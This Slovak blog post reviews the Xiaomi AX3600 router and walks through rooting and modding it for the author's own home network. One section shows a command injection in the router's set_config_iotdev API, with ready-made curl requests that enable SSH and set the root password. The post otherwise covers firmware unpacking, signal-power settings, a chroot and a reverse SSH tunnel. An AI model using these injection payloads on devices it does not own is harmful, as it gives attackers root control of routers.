Používanie WiFi routra Xiaomi AX3600
Dnešný článok bude obsahovať malú recenziu routra Xiaomi AX3600 (pst je to sračka, ale nikomu to nehovorte) a pár trikov, ktorými sa z neho môže stať celkom civilizované a použiteľné zariadenie na domácej sieti.
Po zmene internetového providera som potreboval aj nový WiFi router, keďže súčasný bol len zapožičaný. Rozhodol som sa pre Xiaomi AX3600. Na prvý pohľad vyzerá ako obrovský výkonný router. Je obrovský, má 7 nastaviteľných antén na masívnej trojuholníkovej základni.
Na papieri vyzerá všetko v poriadku. Poháňaný je 4-jadovým 64-bitovým ARM CPU taktovaným na 1.4 GHz. Doplnený je 512 MB RAM a 256 MB flash. Router nemá vyvedené USB napriek tomu, že chipset pravdepodobne obsahuje USB 3.1 konrolér. Škoda.
Router podporuje štandard WiFi 6 (ax) so šírkou pásma 160 MHz. Maximálna rýchlosť je 2402 Mbps. Z milých funkcií by som ešte spomenul podporu mesh.
Nie všetko, čo sa blyští …
Vlastný router namiesto prenajatého TP-Linku som chcel kvôli lepšiemu pokrytiu (nechcem v každej miestnosti krabičku, chcem jednú veľkú krabicu na celý veľký dom + záhradu) a vyššej rýchlosti. Aký je teda AX3600? Jedným slovom „Nahovno!“.
Signál je katastrofálne malý a nie som jediný, kto má tento problém. Samozrejme pred kúpou som si prešiel recenzie a nekupoval som mačku vo vreci. O problémoch so signálom som vedel a vedel som aj o tom, že problém je softvérový.
Na stiahnutie
Než sa pustím do vysvetľovania, hodím tu odkazy na 2 firmvéry:
- Medzinárodný firmvér miwifi_r3600_all_6510e_3.0.22_INT.bin
- Čínsky firmvér miwifi_r3600_firmware_5da25_1.0.17.bin
Rozbalenie firmvéru
Na extrakciu firmvéru sa dá použiť nástroj ubi_reader a squashfs-tools
. Obrazy sa rozbalia do adresárov international
a china
.
ubireader_extract_images -o international -w miwifi_r3600_all_6510e_3.0.22_INT.bin ubireader_extract_images -o china -w miwifi_r3600_firmware_5da25_1.0.17.bin unsquashfs -d international/root international/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs unsquashfs -d china/root china/miwifi_r3600_firmware_5da25_1.0.17.bin/img-1696626347_vol-ubi_rootfs.ubifs
Sila signálu
Teraz v adresári s extrahovaným medzinárodným firmvérom môžem spustiť príkaz, ktorý vyhľadá nastavenie výkony WiFi.
cd international/root grep -rI "txpower" .
Vyhľadávanie nájde súbor /lib/wifi/qcawificfg80211.sh
. Dôležitý kód je tu:
if [ "$bdmode" = "24G" ]; then max_power=30 wifitool "$ifname" setUnitTestCmd 67 3 16 1 1 iwpriv "$ifname" 11ngvhtintop 1 else max_power=30 fi if [ "$bd_country_code" = "EU" ]; then if [ "$bdmode" = "24G" ]; then max_power=14 else if [ "$channel" -ge 100 ]; then max_power=23 else max_power=16 fi fi if [ $ifname = "wl2" ]; then max_power=13 fi fi
Ak je kód dosky "EU" (teda európsky trh), potom je výkon 2.4 GHz limitovaný na 14 dBm. 5GHz je limitovaná na 16 dBm.
Mimo EU je teda maximálny výkon pre obe siete limitovaný na 30 dBm. Teraz trocha matematiky:
1030dBm / 10 = 1000mW
1014dBm / 10 = 25mW
1000mW / 25mW = 40 - maximálny výkon je 1/40 maximálneho výkonu v iných regiónoch
Pre zaujímavosť minimálny výkon mimo EU je 27 dBm = 500 mW - stále 20-násobne vyšší výkon než je maximum pre výkon v EU. Mimochodom ak si niekto chce posťažovať na reguláciu v EU - nie, tak nízke limity tu nemáme. Je to len a len zlá implementácia v Xiaomi.
Downgrade
Slabý signál sa dá jednoducho vyriešiť nahraním starého čínskeho firmvéru. Stačí ho stiahnuť, ísť do administrácie routra vpravo hore cez užívateľské menu vybrať "System update" a "Update manually".
Po „aktualizácii“ je ovládanie routra v čínštine. Našťastie niektoré internetové prehliadače majú vstavaný prekladač, takže stačí povoliť preklad a rozhranie sa stane hneď celkom použiteľným. Upozorňujem na to, že čínsky fimrvér nemá vôbec možnosť zmeniť jazyk.
Ďalším nepríjemným prekvapením je, že router od teraz podporuje len šírku pásma 80 MHz namiesto 160 MHz.
Mnohí používatelia tohto routra ho nechávajú so starým deravým čínskym firvmérom bez podpory 160 MHz pásma. Ja k nim nepatrím, ale k tomu sa dostaneme.
Exploit pre získanie root prístupu na SSH
Router má webové rozhranie napísané v Lue a je založené na projekte luci z OpenWrt.
Binárne lua súbory
Pre ďalší text to nie je dôležité, ale aktuálna verzia firmvéru nahradila zdrojové kódy luci
skompilovaným bytekódom. Aby toho nebolo málo, používajú vlastný lua interpret, ktorý má upravený bytekód. Úprava spočíva v poprehadzovaí operačných kódov, čo by sa dalo nazvať jednoduchou substitučnou šifrou. Rozbiť sa dá jednoducho frekvenčnou analýzou. Okrem toho reťazce sú „šifrované“ jednobajtovým xorom gnenerovaným z dĺžka reťazca pomocou vzorca (l * 13 + 55) & 0xff
. Blbé, primitívne ale nech sa páči, je to ich vec.
Keby to niekto chcel rozbiť tak tu je jednoduchý skript na konverziu do formátu LuaC. Ak by niekto z toho chcel dostať zdrojáky, potom je dobrým projektom unluac_miwifi. Aktuálne v repozitári nie je návod, ako to skompilovať tak pre istotu tu pridávam príkazy pre kompiláciu unluac.jar
:
find ./src/ -type f -name "*.java" -exec javac -cp ./src/ -d ./out/ '{}' + cd out && jar cfe ../unluac.jar unluac.Main .
Získavame roota
Webové rozhranie beží s právami roota. Postačí teda nájsť zraniteľnosť webového rozhrania, ktorá umožňuje spustiť ľubovoľný kód.
Zdrojové kódy starého webového rozhrania sú pekne v plain texte. Zaujímavý je súbor /usr/lib64/lua/luci/controller/api/misystem.lua
, ktorý implementuje Xiaomi API. V ostatných súboroch, ktoré sú prevzaté z OpenWrt neočakávam chyby.
function setConfigIotDev() local XQFunction = require("xiaoqiang.common.XQFunction") local LuciUtil = require("luci.util") local result = { ["code"] = 0 } local ssid = LuciHttp.formvalue("ssid") local bssid = LuciHttp.formvalue("bssid") local uid = LuciHttp.formvalue("user_id") XQLog.log(debug_level, "ssid = "..ssid) XQLog.log(debug_level, "bssid = "..bssid) XQLog.log(debug_level, "uid = "..uid) if XQFunction.isStrNil(ssid) or XQFunction.isStrNil(bssid) or XQFunction.isStrNil(uid) then result.code = 1523 end if result.code ~= 0 then result["msg"] = XQErrorUtil.getErrorMessage(result.code) else XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid) end LuciHttp.write_json(result) end
A jeje, XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)
volá priamo shell príkaz, pričom nedochádza k žiadnej validácii parametrov. Stačí niekde do parametra pridať nový riadok (%0A
) a kód sa vykoná pod rootom! Mimochodom celý firmvér od Xiaomi je deravý ako ementál.
Takže na získanie roota sa dajú použiť tieto príkazy, pričom hodnota STOK
je získaná z URL adresy po prihlásení a PASSWORD
je želané heslo pre prístup do SSH:
# nvram set ssh_en=1 curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Anvram%20set%20ssh%5Fen%3D1%0A' # nvram commit curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Anvram%20commit%0A' # cp /etc/init.d/dropbear /etc/init.d/dropbear_backup curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Acp%20%2Fetc%2Finit.d%2Fdropbear%20%2Fetc%2Finit.d%2Fdropbear_backup%0A' # sed -i '/flg_ssh.*release/ { :a; N; /fi/! ba };/return 0/d' /etc/init.d/dropbear curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Ased%20-i%20'%2Fflg_ssh.*release%2F%20%7B%20%3Aa%3B%20N%3B%20%2Ffi%2F!%20ba%20%7D%3B%2Freturn%200%2Fd'%20%2Fetc%2Finit.d%2Fdropbear%0A' # echo -e “<PASSWORD>/n<PASSWORD>” | passwd root curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0Aecho%20-e%20%27<PASSWORD>%5Cn<PASSWORD>%27%20%7C%20passwd%20root%0A' # /etc/init.d/dropbear enable curl 'http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=gallifrey&user_id=doctor&ssid=-h%0A%2Fetc%2Finit.d%2Fdropbear%20enable%0A' # /etc/init.d/dropbear start http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=doctor&user_id=doctor&ssid=-h%0A%2Fetc%2Finit.d%2Fdropbear%20start%0A
Po týchto krokoch je možné prihlásiť sa ako root príkazom ssh root@192.168.31.1
.
Upgrade
Nastal čas na upgrade. Najskôr je potrebné vytvoriť si upravený obraz medzinárodného firmvéru nástrojom xqrepack.
ubireader_extract_images -w miwifi_r3600_all_6510e_3.0.22_INT.bin cd xqrepack # tento patch nefunguje s novým firmvérom, ale stačilo by upraviť lokácie a mal by fungovať # ja som na to lenivý patches/enable-iot-radio.patch fakeroot -- ./repack-squashfs.sh ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs ./ubinize.sh \ ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-kernel.ubifs \ ../ubifs-root/miwifi_r3600_all_6510e_3.0.22_INT.bin/img-1135711824_vol-ubi_rootfs.ubifs.new
Výsledkom je r3600-raw-img.bin
(RAW obraz bez digitálneho podpisu Xiaomi). Tento obraz sa nedá nahrať do zariadenia pomocou webového rozhrania, ale cez SSH to je možné.
scp -O r3600-raw-img.bin root@192.168.31.1:/tmp/r3600-raw-img.bin
Následnej je potrebné prihlásiť sa cez shell a zistiť rozdelenie partícií:
grep rootfs /proc/mtd mtd12: 023c0000 00020000 "rootfs" mtd13: 023c0000 00020000 "rootfs_1" mtd17: 01857000 0001f000 "ubi_rootfs"
Existujú 2 koreňové partície. Zatiaľ čo jedna sa používa, druhú je možné upgradovať.
Príkaz nvram get flag_boot_rootfs
zobrazí číslo aktuálne používanej partície. Číslo 0
znamená mtd12
a 1
mtd13
. Keď je tam napríklad 1
, je možné zapísať do 0
, teda /dev/mtd12
. Nasleduje flashovanie:
ubiformat /dev/mtd12 -f /tmp/r3600-raw-img.bin -s 2048 -O 2048
a reštart:
nvram set flag_ota_reboot=1 nvram commit reboot
Po naštartovaní máme opäť medzinárodný firmvér, ale s plným prístupom roota a s možnosťou nastaviť šírku pásma 160 MHz.
Nastavenie výkonu a zapnutie AIoT
Pre nastavenie stačí zapísať nasledujúci kód do /etc/rc.local
:
sleep 60 iwconfig wl0 txpower 25 iwconfig wl1 txpower 25 ifconfig wl2 up exit 0
Maximálny výkon je cez 30 dBm. Prečo nastavujem 25, čo je necelá tretina výkonu?
Väčšina používateľov automaticky bez rozmýšľania nastaví maximálny výkon. To však vedie niekedy k nechceným situáciám. Je síce fajn mať silný signál, ale treba si uvedomiť, že komunikácia musí byť obojstranná a keď notebook vidí dobrý signál, neznamená, že router zachytí slabší signál notebooku.
Pri maximálnom možnom výkone je pravdepodobné, že sa počítač bude snažiť s routrom komunikovať na frekvencii 5 GHz, ktorá má podstatne menší dosah. Výsledkom je, že počítač zobrazuje dobrú silu signálu, ale odosielanie dát funguje na maximálne pár kB/s. Keby počítač prepol na 2.4 GHz, mohol by normále pracovať ďalej, ale to sa neudeje kvôli príliš dobrému signálu.
Preto nastavujem silu signálu podľa maximálneho výkonu wifi v mojom počítači (22 dBm = 158 mW). Malá asymetria je v poriadku, spôsobí to, že sťahovanie bude fungovať o niečo rýchlejšie než odosielanie, ale príliš veľký rozdiel (nad 3 dB) už môže spôsobovať problémy.
Test rýchlosti
V nasledujúcich grafoch sú testy rýchlosti a signálu pri rôznej vzdialenosti od WiFi routra.
Testy boli vykonané skriptom perform_test.py. Grafy boli vygenerované skriptom analyze.py. Surové štatistiky sú dostupné v súbore by_distance.tar.xz.
V miestnosti s routrom
Vo vedľajšej miestnosti (1 stena medzi routrom)
Ďaleko (3 steny)
V tomto prípade už rýchlosť výrazne kolíše. Veľký vplyv má okolité rušenie, ale aj to, či niekto stál v ceste signálu, alebo nechal otvorené dvere. V tomto prípade som chcel demonštrovať prakticky najhoršie podmienky v celom dome. Okrem toho ešte zvyknem pracovať na záhrade, čo je síce výraze ďalej, ale bez prekážok okrem jednej steny.
Inštalácia softvéru a spustenie ďalších služieb
Firmvér je postavený OpenWrt 18.06. Ak by bol súborový systém pripojený na zapisovanie, bola by inštalácia nového softvéru vecou jediného príkazu - opkg install názov-balíka
. Tu je však hlavný súborový systém squashfs
, ktorý sa jednoducho na zápis nedá pripojiť. V nasledujúcej časti skúsim vysvetliť svoju modifikáciu, ktorou som obišiel obmedzenia.
Čo to bude vedieť
Na svoj router som chcel pridať 2 nové služby. Prvou je iperf3
server, čo je nástroj na testovanie rýchlosti pripojenia.
Druhá služba je SSH tunel. Tu by som len v krátkosti napísal, čo a prečo chcem pretunelovať. Mám doma rádio, ktoré prehráva MP3 stream z internetu. Je to obyčajné ESP32 s pár kB RAM a 3W digitálnym zosilňovačom. Nemyslím tým len D-class zosilňovač, čo je pravdepodobne samo o sebe analógové zariadenie, ale MAX98357A, čo je zosilňovač s digitálnym 32-bitovým 96kHz vstupom. Samotný zosilňovač je malý integrovaný obvod s objemom 0.87 mm3 (hrana o veľkosti cca 1.4 mm).
V čase stavania som nemal k dispozícii rotačný enkóder, takže som napísal ovládanie hlasitosti len cez HTTP protokol (websockety). Ovládať to chcem cez mobil, ale nechcel som písať natívnu aplikáciu, takže som zvolil progresívnu webovú aplikáciu. Čo čert nechcel, žiaden prehliadač neakceptuje spojenie z progresívnej webovej aplikácie cez čisté HTTP. Všade musí byť HTTPS, čo je problematické z dvoch dôvodov: ESP32 má obmedzený výkon / kapacitu pamäte a nie je možné získať certifikát na lokálnu IP adresu. Ovládanie pretu tunelujem pomocou SSH na externý webserver, ktorý má HTTPS a platný certifikát.
Bežná inštalácia OpenWrt používa ako SSH klienta dropbear. Na vytvorenie stabilného tunelu je však potrebný plnohodnotný OpenSSH klient, takže sa bude musieť nainštalovať.
Plán
Na začiatku som ukázal nástroj vhodný na modifikáciu firmvéru. Doplniť softvér, zostaviť nový firmvér a naflashovať do routra nie je až taký problém, ale nechcel by som to robiť pri každej zmene konfigurácie. Preto použijem niekoľko trikov, ako obísť súborový systém pripojený na čítanie.
Na začiatku som spomenul, že koreňový adresár je read only. Nie je to však jediná partícia. Existuje tu partícia o veľkosti cca 20 MB pripojená ako /userdisk
:
ubi1_0 20.8M 2.7M 17.1M 14% /userdisk
Zároveň nastavenia v /etc
sú pripojené na zápis (mimochodom na tej istej partícii, takže tých 20MB je zdieľaných). Okrem toho disponuje router 512MB RAM, čo je dosť na to, aby mohol obsahovať read-write filesystém v RAM.
Trik sa bude skladať z nasledujúcich krokov vykonaných pri každom štarte:
- vytvorenie chrootu pomocou overlayfs s dátami v
tmpfs
(pripojený ako/tmp
) - vytvorenie súborov, ktoré prežije reštart (napríklad na uloženie SSH kľúčov)
- inštalácia dodatočných služieb
- spustenie dodatočných služieb
Spustenie
Spustenie všetkých krokov som dal do /etc/rc.local
. Jednotlivé kroky sú uložené v /usrdisk
s príznakom executable (chmod +x súbor
). Sú to súbory /userdisk/make_chroot.sh
, /userdisk/install_packages.sh
a /userdisk/start_chroot.sh
.
Prvý príkaz vytvorí chroot a spúšťa sa preto priamo. Zvyšné 2 príkazy by sa mali spustiť už z prostredia chrootu. Celý kód, ktorý je potrebné pridať do rc.local
vyzerá takto:
/userdisk/make_chroot.sh chroot /tmp/root/ /bin/ash -c "/userdisk/install_packages.sh" chroot /tmp/root/ /bin/ash -c "/userdisk/start_chroot.sh"
Chroot
Skript make_chroot.sh
pre vytvorenie chrootu obsahuje všetky nevyhnutné príkazy, ktoré vytvoria prostredie s možnosťou zapisovať súbory v tmpfs
.
#!/bin/ash cd /tmp # vytvorenie nevyhnutných adresárov mkdir root mkdir upper mkdir work # skopírovanie súborov, ktoré prežijú reštart cp -R /userdisk/chrootdata/* /tmp/upper/ # pripojenie hlavného súborového systému mount -t overlay overlay -o lowerdir=/,upperdir=upper,workdir=work root # pripojenie /proc, /sys, /dev a /userdisk mount -t proc none /tmp/root/proc/ mount -t sysfs none /tmp/root/sys/ mount --rbind /dev /tmp/root/dev/ mount --rbind /userdisk /tmp/root/userdisk/
Po spustení skriptu je možné prepnúť sa do nového prostredia príkazom chroot /tmp/root
. Tu už balíčkovací systém bude fungovať. Presvedčiť sa môžme napríklad príkazom opkg update
, ale predtým je potrebné vytvoriť adresár, v ktorom opkg
vytvára zámok.
# mkdir -p /var/lock # opkg update Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/base/Packages.gz Updated list of available packages in /var/opkg-lists/openwrt_base Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/base/Packages.sig Signature check passed. Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/packages/Packages.gz Updated list of available packages in /var/opkg-lists/openwrt_packages Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/packages/Packages.sig Signature check passed. Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/routing/Packages.gz Updated list of available packages in /var/opkg-lists/openwrt_routing Downloading http://downloads.openwrt.org/releases/18.06-SNAPSHOT/packages/aarch64_cortex-a53/routing/Packages.sig Signature check passed. # opkg install htop # htop
Inštalácia balíkov
Balíky je možné inštalovať z internetu, čo môže byť niekedy nespoľahlivé (napríklad keď router naštartuje počas výpadku servera, alebo počas výpadku providera, alebo providerom dodávaný hardvér bootuje pomalšie). Preto som sa rozhodol uložiť dodatočné balíky do adresára /userdisk/ipk
.
Zoznam balíkov je možné nájsť na mirroroch OpenWrt v adresári packages, alebo base. Ja používam konkrétne tieto balíky:
# ls -lh /userdisk/ipk/ -rw-r--r-- 1 root root 50.1K Nov 5 22:25 iperf3_3.11-1_aarch64_cortex-a53.ipk -rw-r--r-- 1 root root 299.5K Oct 30 16:35 openssh-client_7.7p1-2_aarch64_cortex-a53.ipk
Samotný skript pre inštaláciu /userdisk/install_packages.sh
nainštaluje všetky balíky v adresári. Na tomto hardvéri to trvá rádovo desatiny sekundy.
#!/bin/ash mkdir -p /var/lock cd /userdisk/ipk/ for file in *.ipk do opkg install $file done
Štart dodatočných služieb
Nakoniec sa spustí súbor /userdisk/start_chroot.sh
. Tu sa spúšťajú služby. Ako som na začiatku písal, je tam vytvorenie SSH tunelu kvôli rádiu postavenému na ESP32 a spustenie iperf3
servera.
#!/bin/ash esp_radio_forward & iperf3 -s -D
Problém je, že skript esp_radio_forward
neexistuje.
Dodatočné súbory
Súbory, ktoré sa skopírujú automaticky pri vytváraní chrootu som umiestnil do /userdisk/chrootdata
. Tu som teda umiestnil skript, ktorý sa stará o spustenie tunela a reštart ak z nejakého dôvodu spadne spojenie. Výsledný súbor /userdisk/chrootdata/usr/bin/esp_radio_forward
vyzerá takto:
#!/bin/ash while true do ssh -N -R <vzdialený port>:<ip rádia>:80 -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes <používateľ>@<server> sleep 1 done
Okrem toho je potrebné ešte vytvoriť /userdisk/chrootdata/root/.ssh/known_hosts
so povoleným odtlačkom vzdialeného servera a kľúče /userdisk/chrootdata/root/.ssh/id_rsa
a /userdisk/chrootdata/root/.ssh/id_rsa.pub
pre možnosť pripojenia na server pomocou SSH kľúča bez nutnosti zadávať heslo.
Záver
Po pár úpravách som z hrozného routra kúpeného za smiešnu cenu urobil celkom použiteľné zariadenie. Funguje fajn aj ako WiFi router, aj ako malý jednoduchý proxy server.
Rýchlosť pripojenia vo vedľajšej miestnosti je porovnateľná s gigabitovým ethernetom. Dosť dobrý výsledok ak beriem do úvahy, že sa nemusím trápiť s káblom.
V miestnoti s routrom rýchlosť mierne prevažuje gigabit aj keď teoreticky by to mohlo ísť až na 2.4 Gbit/s. Nie som si istý, či je v tomto prípade brzdou CPU, alebo zlý firmvér WiFi karty, alebo niečo úplne iné.
Pri testoch bežne dochádzalo k zamŕzaniu spojenia, čo som musel riešiť v skripte pre testovanie. Samotný test iperf3
prebehne síce v poriadku, ale okamžite po teste prestane WiFi karta na niekoľko desiatok sekúnd reagovať. Najskôr som z problému podozrieval router, ale po prehľadaní fór som našiel, že ide o známy problém s kartami Intel.